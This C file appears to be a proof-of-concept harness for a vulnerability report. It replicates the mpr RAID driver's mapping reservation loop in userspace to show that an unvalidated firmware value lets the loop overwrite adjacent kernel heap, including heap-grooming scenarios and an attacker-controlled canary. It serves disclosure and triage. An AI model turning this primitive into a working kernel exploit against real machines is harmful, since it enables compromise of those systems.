/*
 * DF-4092 object-level proof (mpr twin of DF-4085).
 *
 * sys/dev/raid/mpr/mpr_mapping.c:_mapping_process_dpm_pg0()
 * ENCLOSURE_SLOT_MAPPING branch:
 *
 *   u16 max_num_phy_ids = le16toh(sc->ioc_pg8.MaxNumPhysicalMappedIDs); (:2216)
 *   ...
 *   if (dev_idx < (sc->num_rsvd_entries + max_num_phy_ids)) {      (:2284)
 *           ...
 *           num_slots = max_num_phy_ids;                           (:2290)
 *   }
 *   ...
 *   mt_entry = &sc->mapping_table[dev_idx];                        (:2327)
 *   for (map_idx = dev_idx; map_idx < (dev_idx + num_slots);       (:2328)
 *       map_idx++, mt_entry++) {
 *           if (mt_entry->dpm_entry_num != MPR_DPM_BAD_IDX)        (:2330)
 *                   goto fail;                                     (:2336)
 *           mt_entry->physical_id = <fw PhysicalIdentifier>;       (:2340)
 *           mt_entry->phy_bits    = phy_bits;                      (:2342)
 *           mt_entry->id          = dev_idx;                       (:2343)
 *           mt_entry->dpm_entry_num = entry_num;                   (:2344)
 *           mt_entry->missing_count = missing_cnt;                 (:2345)
 *           mt_entry->device_info = MPR_DEV_RESERVED;              (:2346)
 *   }
 *
 * MaxNumPhysicalMappedIDs is a firmware-supplied u16 from IOC page 8 that
 * is never validated against the mapping-table size anywhere in the driver
 * (only other use is as a search-skip hint :955/:979/:1045/:1718/:1975).
 * mapping_table is kmalloc(sizeof(struct dev_mapping_table) *
 * sc->max_devices) (mpr_mapping.c:2140-2141) and max_devices =
 * facts->MaxTargets + facts->MaxVolumes (:2565).  Nothing checks
 * dev_idx + num_slots <= max_devices, so with an IN-BOUNDS dev_idx inside
 * the direct-attached range the loop walks past the table for as many
 * consecutive entries as keep passing the per-entry conflict gate
 * (dpm_entry_num == MPR_DPM_BAD_IDX).  In-bounds entries always pass
 * (all were cleared to BAD_IDX by _mapping_clear_map_entry via
 * mpr_mapping_initialize :2593-2594), so [dev_idx, max_devices) is fully
 * overwritten and the walk then reads/writes ADJACENT KERNEL HEAP: a
 * 2-byte OOB read at offset 16 of each 32-byte block, and a full 32-byte
 * fw-controlled write for every block whose garbage u16 == 0xFFFF.
 *
 * Distinct from DF-3914 (event NumSlots path, _mapping_get_dev_info) and
 * DF-3915 (num_slots==0 _mapping_commit_enc_entry path): different num_slots
 * source (IOC pg8 MaxNumPhysicalMappedIDs vs event u16), different loop.
 *
 * This harness replicates the mpr struct (mprvar.h:113-125) and the
 * verbatim loop (:2327-2347) and drives it with a fully in-bounds dev_idx
 * under two adjacent-heap scenarios.
 */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* verbatim from sys/dev/raid/mpr/mprvar.h:113-125 */
struct dev_mapping_table {
	uint64_t	physical_id;
	uint32_t	device_info;
	uint32_t	phy_bits;
	uint16_t	dpm_entry_num;
	uint16_t	dev_handle;
	uint16_t	reserved1;
	uint16_t	id;
	uint8_t		missing_count;
	uint8_t		init_complete;
	uint8_t		TLR_bits;
	uint8_t		reserved2;
};

#define MPR_DEV_RESERVED	0x20000000u	/* mprvar.h:91 */
#define MPR_DPM_BAD_IDX		0xFFFFu		/* mprvar.h:88 */

#define CANARY		0x5141524153534141ULL	/* fw PhysicalIdentifier */
#define GUARD_N		0x11000			/* stands for adjacent kernel heap */

static struct dev_mapping_table *map;
static uint32_t max_devices;

/*
 * Verbatim reservation loop :2327-2347.  Returns the number of entries
 * written; sets *failed when the conflict gate hits (goto fail :2336).
 */
static uint32_t
reserve(uint32_t dev_idx, uint32_t num_slots, uint16_t entry_num,
    uint64_t fw_phys_id, uint32_t fw_phy_bits, uint8_t fw_missing_cnt,
    int *failed)
{
	struct dev_mapping_table *mt_entry;
	uint32_t map_idx, written = 0;

	*failed = 0;
	mt_entry = &map[dev_idx];
	for (map_idx = dev_idx; map_idx < (dev_idx + num_slots);
	    map_idx++, mt_entry++) {
		if (mt_entry->dpm_entry_num != MPR_DPM_BAD_IDX)	/* :2330 */
			{ *failed = 1; break; }			/* :2336 */
		mt_entry->physical_id = fw_phys_id;		/* :2340 */
		mt_entry->phy_bits = fw_phy_bits;		/* :2342 */
		mt_entry->id = (uint16_t)dev_idx;		/* :2343 */
		mt_entry->dpm_entry_num = entry_num;		/* :2344 */
		mt_entry->missing_count = fw_missing_cnt;	/* :2345 */
		mt_entry->device_info = MPR_DEV_RESERVED;	/* :2346 */
		written++;
	}
	return (written);
}

static void
reset_table(uint32_t guard_badidx_blocks)
{
	uint32_t i;

	memset(map, 0, (size_t)(max_devices + GUARD_N) * sizeof(*map));
	/* driver init: every in-bounds entry cleared, dpm_entry_num=BAD_IDX */
	for (i = 0; i < max_devices; i++) {
		map[i].dpm_entry_num = MPR_DPM_BAD_IDX;	/* :2593, clear :65-75 */
		map[i].id = 0xFFFF;
	}
	/* adjacent kernel heap: garbage, except the first K blocks whose
	 * garbage u16 happens to be 0xFFFF (stale table from a previous
	 * attach cycle, freed zone content, 0xFFFF-laden objects). */
	for (i = 0; i < GUARD_N; i++)
		map[max_devices + i].physical_id = 0x4141414141414141ULL;
	for (i = 0; i < guard_badidx_blocks; i++)
		map[max_devices + i].dpm_entry_num = MPR_DPM_BAD_IDX;
}

int
main(void)
{
	/* IOC facts (firmware controlled): MaxTargets U16, MaxVolumes U8 */
	uint32_t MaxTargets = 508, MaxVolumes = 2;
	uint16_t max_num_phy_ids = 0xFFFF;	/* IOC pg8, fw-controlled */
	uint32_t num_rsvd_entries = 1;		/* RESERVED_TARGETID_0 */
	uint32_t dev_idx = 0x100;		/* DPM pg0 DeviceIndex: IN BOUNDS */
	uint16_t entry_num = 0, num_slots;
	uint64_t fw_phys_id = CANARY;
	uint32_t fw_phy_bits = 0xDEADBEEFu;
	uint8_t fw_missing_cnt = 1;
	uint32_t in_bounds, i, oob_written, failed_runs;
	int failed;

	max_devices = MaxTargets + MaxVolumes;		/* :2565 */
	printf("DF-4092 object-level proof (mpr_mapping.c:2216,2284-2347)\n");
	printf("  sizeof(dev_mapping_table) : %zu (expect 32 on amd64)\n",
	    sizeof(struct dev_mapping_table));
	printf("  max_devices               : %u (kmalloc %zu bytes, :2140)\n",
	    max_devices, (size_t)max_devices * sizeof(*map));
	printf("  MaxNumPhysicalMappedIDs   : 0x%04x (IOC pg8, unvalidated)\n",
	    max_num_phy_ids);

	map = calloc(max_devices + GUARD_N, sizeof(*map));
	if (map == NULL)
		return (2);

	/* === scenario A: adjacent heap garbage != 0xFFFF at offset 16 === */
	reset_table(0);
	if (dev_idx < (num_rsvd_entries + max_num_phy_ids))
		num_slots = max_num_phy_ids;			/* :2290 */
	printf("  DPM entry %u               : dev_idx=%u (in bounds!), "
	    "num_slots=%u\n", entry_num, dev_idx, num_slots);

	in_bounds = reserve(dev_idx, num_slots, entry_num, fw_phys_id,
	    fw_phy_bits, fw_missing_cnt, &failed);
	printf("  scenario A (cold garbage)  : wrote %u entries [%u,%u), "
	    "conflict gate: %s\n", in_bounds, dev_idx, dev_idx + in_bounds,
	    failed ? "TRIPPED at first OOB block (goto fail :2336)" : "no");
	if (in_bounds != max_devices - dev_idx || !failed)
		return (3);	/* harness bug */
	/* the trip itself was an OOB READ of dpm_entry_num at
	 * mapping_table[max_devices] - a 2-byte read past the kmalloc */

	/* === scenario B: first 4096 OOB blocks hold 0xFFFF at offset 16 === */
	reset_table(4096);
	in_bounds = reserve(dev_idx, num_slots, entry_num, fw_phys_id,
	    fw_phy_bits, fw_missing_cnt, &failed);
	oob_written = in_bounds - (max_devices - dev_idx);
	printf("  scenario B (0xFFFF groom)  : wrote %u entries, %u of them "
	    "PAST the table\n", in_bounds, oob_written);
	if (in_bounds != (max_devices - dev_idx) + 4096 || !failed)
		return (4);	/* harness bug */

	for (i = 0; i < oob_written; i++)
		if (map[max_devices + i].physical_id != CANARY)
			return (5);	/* harness bug */

	printf("  reservation loop wrote     : [%u, %u)  (table ends at "
	    "%u)\n", dev_idx, dev_idx + in_bounds, max_devices);
	printf("  kernel equivalent          : %zu-byte heap write of "
	    "fw-controlled data\n", (size_t)oob_written * sizeof(*map));
	printf("    past a %zu-byte kmalloc, attacker qword 0x%016jx at "
	    "stride %zu\n", (size_t)max_devices * sizeof(*map),
	    (uintmax_t)CANARY, sizeof(*map));

	/* === unbounded worst case: entire guard BAD_IDX (2MB smash) === */
	reset_table(GUARD_N);
	failed_runs = 0;
	in_bounds = reserve(dev_idx, num_slots, entry_num, fw_phys_id,
	    fw_phy_bits, fw_missing_cnt, &failed);
	oob_written = in_bounds - (max_devices - dev_idx);
	(void)failed_runs;
	printf("  scenario C (all 0xFFFF)    : %u entries past table = %zu "
	    "bytes linear smash\n", oob_written,
	    (size_t)oob_written * sizeof(*map));
	for (i = 0; i < oob_written; i++)
		if (map[max_devices + i].physical_id != CANARY)
			return (6);	/* harness bug */

	if (oob_written) {
		printf("RESULT: OOB WRITE PRIMITIVE PROVEN (canary smash at "
		    "stride %zu; per-entry dpm_entry_num==BAD_IDX gate "
		    "modeled verbatim)\n", sizeof(*map));
		return (0);
	}
	return (1);
}
